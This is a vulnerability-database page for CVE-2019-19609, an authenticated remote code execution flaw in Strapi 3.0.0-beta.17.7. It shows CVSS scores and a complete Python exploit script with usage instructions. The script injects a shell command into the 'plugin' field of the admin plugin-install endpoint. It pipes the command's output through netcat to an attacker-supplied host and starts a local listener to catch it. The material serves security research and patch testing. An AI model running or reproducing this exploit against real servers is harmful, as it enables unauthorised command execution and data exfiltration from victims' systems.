Lucene search

K
packetstormDavid UtonPACKETSTORM:163940
HistoryAug 30, 2021 - 12:00 a.m.

Strapi 3.0.0-beta.17.7 Remote Code Execution

2021-08-3000:00:00
David Uton
packetstormsecurity.com
201

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C

`# Exploit Title: Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)  
# Date: 29/08/2021  
# Exploit Author: David Utón (M3n0sD0n4ld)  
# Vendor Homepage: https://strapi.io/  
# Affected Version: strapi-3.0.0-beta.17.7 and earlier  
# Tested on: Linux Ubuntu 18.04.5 LTS  
# CVE : CVE-2019-19609  
  
#!/usr/bin/python3  
# Author: @David_Uton (m3n0sd0n4ld)  
# Github: https://m3n0sd0n4ld.github.io  
# Usage: python3 CVE-2019-19609.py http[s]//IP[:PORT] TOKEN_JWT COMMAND LHOST  
  
import requests, sys, os, socket  
  
logoType = ('''  
=====================================  
CVE-2019-19609 - Strapi RCE  
-------------------------------------  
@David_Uton (M3n0sD0n4ld)  
https://m3n0sd0n4ld.github.io/  
=====================================  
''')  
  
if __name__ == '__main__':  
  
# Parameter checking  
if len(sys.argv) != 5:  
print(logoType)  
print("[!] Some of these parameters are missing.")  
print('''  
Use: python3 %s http[s]//IP[:PORT] TOKEN_JWT COMMAND LHOST  
Example: python3 10.10.10.10 eyJHbGCi..... "id" 127.0.0.1''' % sys.argv[0])  
# Exploit run  
else:  
# Paremeters  
url = sys.argv[1]  
token = sys.argv[2]  
command = sys.argv[3]  
lhost = sys.argv[4]  
lport = 9999  
  
s = requests.session()  
  
r = s.post(url, verify=False) # SSL == verify=True  
  
headersData = {  
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',  
'Authorization': "Bearer %s" % token  
}  
  
postData = {  
"plugin":"documentation && $(%s > /tmp/.m3 && nc %s %s < /tmp/.m3 | rm /tmp/.m3)" % (command, lhost, lport)  
}  
  
print(logoType)  
os.system("nc -nvlp 9999 &")  
try:  
print("[+] Successful operation!!!")  
r = s.post(url + "/admin/plugins/install", headers=headersData, data=postData, verify=False) # SSL == verify=True  
# Content print  
print(r.text)  
except:  
print("[!] An error occurred, try again.")  
sys.exit(1)  
  
`

7.2 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

HIGH

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

9 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:S/C:C/I:C/A:C